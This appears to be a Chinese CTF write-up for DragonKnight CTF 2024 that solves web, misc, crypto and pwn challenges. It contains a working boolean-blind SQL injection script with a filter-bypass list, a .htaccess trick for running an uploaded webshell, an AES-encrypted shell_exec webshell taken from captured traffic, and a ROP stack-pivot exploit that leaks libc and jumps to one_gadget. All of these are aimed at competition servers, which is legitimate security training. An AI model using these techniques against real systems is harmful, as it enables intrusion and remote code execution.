DragonKnight CTF2024部分wp
最终成果
又是被带飞的一天,偷偷拷打一下队里的pwn手,只出了一题
这里是我们队的wp
web
web就出了两个ez题,确实很easy,只是需要一点脑洞(感觉),
ezsgin
dirsearch扫一下就发现有index.php.bak文件,拿下来就有了index.php源码
<?php
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){
extract($_GET);
$token = base64_decode($token);
$token = json_decode($token, true);
$username = $token['username'];
$password = $token['password'];
$isLocal = false;
if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
$isLocal = true;
}
if($isLocal){
echo 'Welcome Back,' . $username . '!';
//如果 upload 目录下存在$username.png文件,则显示图片
if(file_exists('upload/' . $username . '/' . $token['filename'])){
// 显示图片,缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 写一个上传头像的功能
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// echo "留个言吧";
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button οnclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
$html = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form method="post" action="./login.php">
<div>
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" name="password" id="password" required>
</div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
EOD;
echo $html;
}
?>
<script>
function displayInput() {
var inputText = document.getElementById("input-text").value;
document.write(inputText)
}
</script>
这里有个文件上传的点,但是需要本地访问,本来想尝试看能不能xss搞ssrf,太菜了不会
那就自己构造上传,在index.php下面修改html,把源码里的上传表单加上去就行,然后bp拦截一下数据包,研究一下上传
发现没有对文件后缀名限制,但是上传php后apache不解析,肯定要传.htaccess修改上传目录的apache文件解析设置,尝试了很多,最后发现php_flag engine 1
可以,后面也提示了要修改文件解析引擎
上传后,蚁剑连接值钱传的webshell,查看flag即可
ezlogin
一开始要你登录,源码还提示有个注册的页面,注册后再登录,就提示you are not admin,当时还以为要ssrf,结果发现cookie里有个base64的token,解一下就是类似下面这个字典
{'username':'abc','token','32位长串','is_admin',0}
于是把is_admin
改为1,再访问,就重定向到了home.php,回显了我这个账户的密码,后面把username改为admin,就提示我不要乱改用户名,看来会检验token,当时还以为token是服务端发的,就没管了
其实可以发现,给home.php传的数据只有上面那个cookie的字典,但是却能显示密码,所以我猜测有数据库查询,可能考二次注入,注册个hello'/**/and/**/1=1#的
账户试试,
当时想跑一下fuzz,本来是想request或session先发一边请求拿到cookie,再去注入,结果测试了多次,response.headers里根本就没有Set-cookie
卡了半个多小时,后面发现token的长度是32位,猜测是username的md5,一试还真是,然后就可以fuzz测试了,测出来过滤了空格,union,< >以及很多可以用来时间盲注的函数,结合这里只返回user not found
和密码的回显,所以这里就是布尔盲注,过滤了空格,用/**/可以绕,也不用注册来搞二次了,因为有自带一个admin用户
写脚本就完事了,脚本小子火速出击
import base64
import json
import requests
import hashlib
import time
port=32616
register_url=f'http://challenge.qsnctf.com:{port}/register.php'
login_url=f'http://challenge.qsnctf.com:{port}/login.php'
home_url=f'http://challenge.qsnctf.com:{port}/home.php'
Token={"username":"admin'/**/and/**/1=2#", "token":"bb89ba321a6adc27803fcd1f7ad8c094", "is_admin":1}
session=requests.session()
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Cache-Control': 'max-age=0',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://challenge.qsnctf.com:31208',
'Proxy-Connection': 'keep-alive',
'Referer': 'http://challenge.qsnctf.com:31208/',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
}
blacklist=['+', 'handler', 'sleep', 'SLEEp', 'having', '-~', 'BENCHMARK', 'left', 'Left', 'right', 'Right', '--+', '--', '!', '%', '+', 'xor', '<>', '>', '<', '^', 'BY', 'By', 'CAST', 'CREATE', 'END', 'case', 'when', '"', '+', 'REVERSE', 'left', 'right', 'union', 'UNIon', 'UNION', '"', '&', '&&', '||', 'GROUP', 'HAVING', 'IF', 'INTO', 'JOIN', 'LEFT', 'sleep', '|', 'ORDER', 'SET', 'THEN', 'UNION', 'WHEN', 'set', 'drop', 'inset', 'CAST', 'CONCAT', 'GROUP_CONCAT', 'group_concat', 'CREATE', 'DROP', 'floor', '%df', 'concat_ws()', 'concat', 'extractvalue', 'order', 'CAST()', 'by', 'ORDER', 'OUTFILE', 'SET', 'updatexml', 'SHOW', 'THEN', 'benchmark', 'VARCHAR', 'WHEN', '`', '%0a', '%0A', '%0b', 'mid', 'REGEXP', 'RLIKE', 'sys schemma', 'XOR', 'FLOOR', 'sys.schema_table_statistics_with_buffer', 'INFILE', '%0c', '%0d', '%a0', '@', '%27', '%23', '%22', '%20']
def get_base64_str(dic):
return base64.b64encode(json.dumps(dic).encode()).decode()
def get_dict_from_hex(target):
hex_bytes = bytes.fromhex(target)
ascii_str = hex_bytes.decode('ascii')
base64_bytes = base64.b64decode(ascii_str)
return base64_bytes.decode()
def get_hex_from_dict(dic):
return get_base64_str(dic).encode('ascii').hex()
def fuzz():
blacklist=[]
with open('sql.txt','r') as file:
for line in file:
session=requests.session()
Token['username']=line.strip()
Token['token']=hashlib.md5(line.strip().encode()).hexdigest()
res1=session.post(url=register_url,data=data,headers=headers,)
TOKEN=get_hex_from_dict(Token)
cookies={'TOKEN':TOKEN}
res2=session.post(url=login_url,data=data,headers=headers,cookies=cookies)
if 'Hacker' in res2.text:
print(f'{line.strip()} is baned')
blacklist.append(line.strip())
time.sleep(1)
print(blacklist)
def condition(username):
Token['username']=username
Token['token']=hashlib.md5(username.encode()).hexdigest()
TOKEN=get_hex_from_dict(Token)
cookies={'TOKEN':TOKEN}
res2=session.get(url=home_url,headers=headers,cookies=cookies)
if 'Hacker' in res2.text:
print(f'{username} is not!')
return False
if 'admin' in res2.text:
return True
return False
def get_tbs_name():
"""tbs_name=['user','secret']"""
tb_num=2
tbnames_list=[]
# for i in range(50):
# username="admin'"
# username = username+f" and {i}=(select count(table_name) from information_schema.tables where table_schema = database())#".replace(' ','/**/')
# Token['username']=username
# Token['token']=hashlib.md5(username.encode()).hexdigest()
# TOKEN=get_hex_from_dict(Token)
# cookies={'TOKEN':TOKEN}
# res2=session.get(url=home_url,headers=headers,cookies=cookies)
# if 'Hacker' in res2.text:
# print(f'{username} is not!')
# if 'admin' in res2.text:
# tb_num=i
# break
print(f'表数为{tb_num}')
for i in range(tb_num):
name=''
name_length=0
for j in range(30):
username="admin'"+f" and {j}=(select length(table_name) from information_schema.tables where table_schema=database() limit {i}, 1)#".replace(' ','/**/')
if condition(username):
name_length=j
print(f'长度为{j}')
break
for j in range(1,name_length+1):
for k in range(33,127):
username="admin'"+f" and ord(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k}#".replace(' ','/**/')
if condition(username):
name+=chr(k)
print(name)
break
tbnames_list.append(name)
def get_columns_name():
tbs_name=['user','secret']
secrets_columns=[] #flag, sseeccrreett
nums=2 #2
#直接找secret的字段数
# for i in range(30):
# username="admin'"+f" and {i}=(select count(column_name) from information_schema.columns where table_name='secret' and table_schema=database())#".replace(' ','/**/')
# if condition(username):
# nums=i
# print(nums)
# break
for i in range(nums):
name_length=0
name=''
for j in range(30):
username="admin'"+f" and {j}=(select length(column_name) from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1)#".replace(' ','/**/')
if condition(username):
name_length=j
print(f'长度为{name_length}')
break
for j in range(1,name_length+1):
for k in range(33,127):
username="admin'"+f" and ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1) ,{j},1))={k}#".replace(' ','/**/')
if condition(username):
name+=chr(k)
print(name)
break
secrets_columns.append(name)
def get_info():
#看完发现两个字段都只有一个值,flag字段的值长为10,明显不对,sseeccrreett是40,应该是这个
column='sseeccrreett'
table='secret'
nums=1 #1
for i in range(30):
username="admin'"+ f" and (select count({column}) from {table} )={i}#".replace(' ','/**/')
if condition(username):
nums=i
print(nums)
break
for i in range(nums):
name_length=0
for j in range(75):
username="admin'"+f" and (select length({column}) from {table} limit {i},1 )={j}#".replace(' ','/**/')
if condition(username):
name_length=j
print(name_length)
break
flag=''
for i in range(1,41):
for k in range(33,127):
username="admin'"+f" and ord(substr((select {column} from {table} limit 0,1),{i},1))={k}#".replace(' ','/**/')
if condition(username):
flag+=chr(k)
print(flag)
break
get_info()
结果
misc
misc做的还行,雷姆那个脑洞题和队友研究了好久
签到
扫码就行
神秘文字
拿下来就有一个txt和一个压缩包,txt里有
𓅂=+![];𓂀=+!𓅂;𓁄=𓂀+𓂀;𓊎=𓁄+𓂀;𓆣=𓁄*𓁄;𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;𓅬=𓆣+𓊎;[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";𓆉(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)``)``
这个一看就是javascript,真是神奇呢,其实也不难,直接放在浏览器运行会报错,一步步调试就发现是最后一行有问题
(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)
去掉最外面的那个东西,浏览器运行上面这个
八进制解码一下,就是压缩包密码,压缩包解压一下就是flag
Steal_data
其实这题当时没报多大希望,毕竟流量分析一点不会,但是误打误撞出了
拿到流量包,首先分析http,因为我只会看http(哭了)
关键词shell.php
,cmd
,这不就是webshell,追踪一下,就能看到webshell的源码
<?php
$shell = $_REQUEST['cmd'];
$choice = $_GET['choice'];
if ($choice == 'show_source'){
show_source(__FILE__);
} else {
echo "<h1>Welcome to Dragon Knight CTF</h1>";
}
$key = substr(md5('dragonknight'), 0 ,16);
$cmd = openssl_decrypt($shell, "AES-128-ECB", $key);
$a = base64_decode('c2hlbGxfZXhlYw==');
$result = $a($cmd);
$test = openssl_encrypt($result , "AES-128-ECB ", $key);
echo $test;
可以执行命令,c2hlbGxfZXhlYw==
就是shell_exec,然后对命令执行的结果aes-128-ecb加密,加密的密钥,源码中也有了,解密一下命令执行的结果就行
然后最后一个命令的结果解密出来就是
import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
(101 ,82) ,(0 ,82) ,(82 ,125)
]
然后题目提示要找最短路径啥的,然而,数据结构稀烂,根本不会,问gpt出了,结果列表的每个数字转ascii,就是flag
import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
(101 ,82) ,(0 ,82) ,(82 ,125)
]
# 将边列表转换为图
G = nx.Graph()
G.add_edges_from(lujin)
# 找到最短路径
shortest_path = nx.shortest_path(G, source=102, target=125)
flag=''
for p in shortest_path:
flag+=chr(p)
print(flag)
func_pixels
本来我一个人想了好久,结果我队友路过看到我在研究雷姆,果然加入一起研究,研究了半个多小时就出了
题目提示像素很奇怪,(0,0)是怎么回事,然后我就打印了一下(0,0)的RGB值,都挺小的,**转了ascii发现是DBK!**这不就是flag头嘛
果断用画图打开图片,拖到最左上方,发现了端倪,那里有很多不和谐的像素
题目还给了平方的式子提示,然后就观察(0,0),(1,1),(2,4),(3,9)…直到(9,81),发现这些像素跟周围格格不入,
但是左上角这里还有很多不和谐的,观察一下发现是(2,2),(3,3)…(9,9)以及(2,8),(3,27)…(9,727)
然后打印了一下这些不和谐点的rgb值
如图,发现了很多重复值,其中紫色123是{
,125是}
,所以一定是起点和终点,然后就去三个部分中没有重复的数据即可
一开始是先取完一次放的R,再去取二次方的G,这样发现是错的,最后尝试一次方R取一个,2次方G取一个,3次方B取一个,一个循环就出了
from PIL import Image
from collections import Counter
# 打开图像文件
image_path = "1.png" # 请替换为你的图像文件路径
image = Image.open(image_path)
# 获取图像的宽度和高度
width, height = image.size
r, g, b = image.getpixel((0, 0))
print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(0, 0, r, g, b))
print(chr(r),chr(g),chr(b))
flag = []
for x in range(0,2):
r, g, b = image.getpixel((x, x*x))
try:
print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(x, x*x, r, g, b))
flag.append(r)
flag.append(g)
flag.append(b)
except:
continue
flag = []
for x in range(10):
r, g, b = image.getpixel((x, x))
flag.append(r)
r, g, b = image.getpixel((x, x*x))
flag.append(g)
r, g, b = image.getpixel((x, x*x*x))
flag.append(b)
flags = ""
for num in flag:
if num >= 32 and num <= 126:
print("ASCII character for {} is {}".format(num, chr(num)))
flags += chr(num)
else:
print("Hexadecimal value for {} is {}".format(num, hex(num)))
print(flags)
#DRKCTF{HAHAHAHA_LeiMuIsSoCute}
雷姆确实很可爱
crypto
密码学签到LCG
第一次学LCG算法,主要参考下面的文章,题目与平常不同的是一次性调用两次
LCG-CTF #CSDN
注意在算出 a 之后还要进行开方操作
S
n
+
1
≡
a
S
n
+
b
(
m
o
d
m
)
S
n
+
2
≡
a
2
S
n
+
a
b
+
b
(
m
o
d
m
)
令
T
n
+
1
=
a
2
T
n
+
a
b
+
b
(
m
o
d
m
)
T
n
=
(
T
n
+
1
−
a
b
−
b
)
∗
(
a
2
)
−
1
(
m
o
d
m
)
S_{n+1} \equiv aS_n+b\ (mod\ m)\\ S_{n+2} \equiv a^2S_n+ab+b\ (mod\ m)\\ 令\ T_{n+1} =a^2T_n+ab+b(mod \ m)\\ T_n=(T_{n+1}-ab-b)*(a^2)^{-1}\quad(mod \ m)
Sn+1≡aSn+b (mod m)Sn+2≡a2Sn+ab+b (mod m)令 Tn+1=a2Tn+ab+b(mod m)Tn=(Tn+1−ab−b)∗(a2)−1(mod m)
解出 a, b, m 之后就可以使用逆推公式进行逆推
只进行了最多 2^16 次操作,穷举即可
from math import gcd
from functools import reduce
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse, sqrt_mod
outputs = [
5944442525761903973219225838876172353829065175803203250803344015146870499,
141002272698398325287408425994092371191022957387708398440724215884974524650,
42216026849704835847606250691811468183437263898865832489347515649912153042,
67696624031762373831757634064133996220332196053248058707361437259689848885,
19724224939085795542564952999993739673429585489399516522926780014664745253,
]
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return modulus
def crack_unknown_multiplier(states, m):
multiplier = (states[2] - states[1]) * mod_inverse(states[1] - states[0], m) % m
return multiplier
def degenerate(nextSeed, a, b, m):
seed = ((nextSeed - a * b - b) * mod_inverse(a * a, m)) % m
return seed
# print("m=", crack_unknown_modulus(outputs))
m = 155908129777160236018105193822448288416284495517789603884888599242193844951
X0 = outputs[0]
X1 = outputs[1]
X2 = outputs[2]
# a2 = crack_unknown_multiplier([X0, X1, X2], m)
# a = sqrt_mod(a2, m, all_roots=True)
# a= [60728410741559651595837076320918940692717582926393871702586056157132924440, 95179719035600584422268117501529347723566912591395732182302543085060920511]
a = 60728410741559651595837076320918940692717582926393871702586056157132924440
# b = ((X1 - a * a * X0) * mod_inverse(a + 1, m)) % m
b = 31006403622243178411942737943535530004679293793891742767612321661881499410
generated = X0
for _ in range(2**16):
generated = degenerate(generated, a, b, m)
if b"flag" in long_to_bytes(generated):
print("Seed:", generated)
print("Flag:", long_to_bytes(generated))
'''
Seed: 531812496965506450888444937267070589
Flag: b'flag{Hello_CTF}'
'''
MatrixRSA
矩阵RSA题目,之前没见过,用平常的 d 无法解密
上网搜到 A Matrix Extension of the RSA Cryptosystem
这篇论文
g
=
∏
k
=
0
s
−
1
(
p
s
−
p
k
)
⋅
∏
k
=
0
s
−
1
(
q
s
−
q
k
)
g=\prod_{k=0}^{s-1}(p^s-p^k)\cdot \prod_{k=0}^{s-1}(q^s-q^k)
g=k=0∏s−1(ps−pk)⋅k=0∏s−1(qs−qk)
读了一下论文,按照里面的方法,用sage计算出 g d 即可解密
from Crypto.Util.number import *
e = 65537
p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [...] # 省略
n = p * q
phi = (p^4-1)*(p^4-p)*(p^4-p^2)*(p^4-p^3)*(q^4-1)*(q^4-q)*(q^4-q^2)*(q^4-q^3)
d = inverse(e, phi)
M = matrix(Zmod(n), C)
m = M ^ d
flag = b""
flag += long_to_bytes(int(m[0, 0]))
flag += long_to_bytes(int(m[0, 1]))
flag += long_to_bytes(int(m[0, 2]))
print(flag)
# b'DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}V%\x17\xf1'
pwn
stack
很明显的只溢出了0x8字节,并且还直白说了stack pivoting,但是发现唯一能标志栈的esp和rsp没有用,然后,就卡了一整天。。。
直到终于翻到一篇文章https://blog.csdn.net/hackzkaq/article/details/134457518
不得不说,一下就点醒了我,read函数的调用原来就是最好的利用,然后就先让程序read跳转输入到bss段上,再在bss段上迁移的栈上直接写泄漏的rop链,链结尾再写一次read,还用这个栈继续的结尾,直接写到one_gadget就行了,前面的r12置0直接照抄文章,就连地址都一样(还没怎么懂read两次怎么劫持栈到bss上的,不过后面攻击的思路倒很清晰,骄傲)
exp:
from pwn import *
# io = process("./pwn")
io = remote("challenge.qsnctf.com", 32201)
context.terminal = 'kitty'
elf = ELF('./pwn')
libc = elf.libc
io.recv()
bss = 0x404040 + 0x100
payload = b'A'*0x100 + p64(bss) + p64(0x40119B)
io.send(payload)
payload = b'B'*0x100 + p64(bss + 0x100) + p64(0x40119B)
io.send(payload)
payload = p64(bss + 0x100 + 0x10) + p64(0x0000000000401210) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40119B)
io.send(payload)
libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libcbase))
system = libcbase + libc.sym['system']
print(hex(system))
r12 = 0x000000000002f709+libcbase
og = libcbase + 0xe3afe
# 0xe3b01 0xe3b04
payload = b'A'*0x20 + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
io.send(payload)
io.interactive()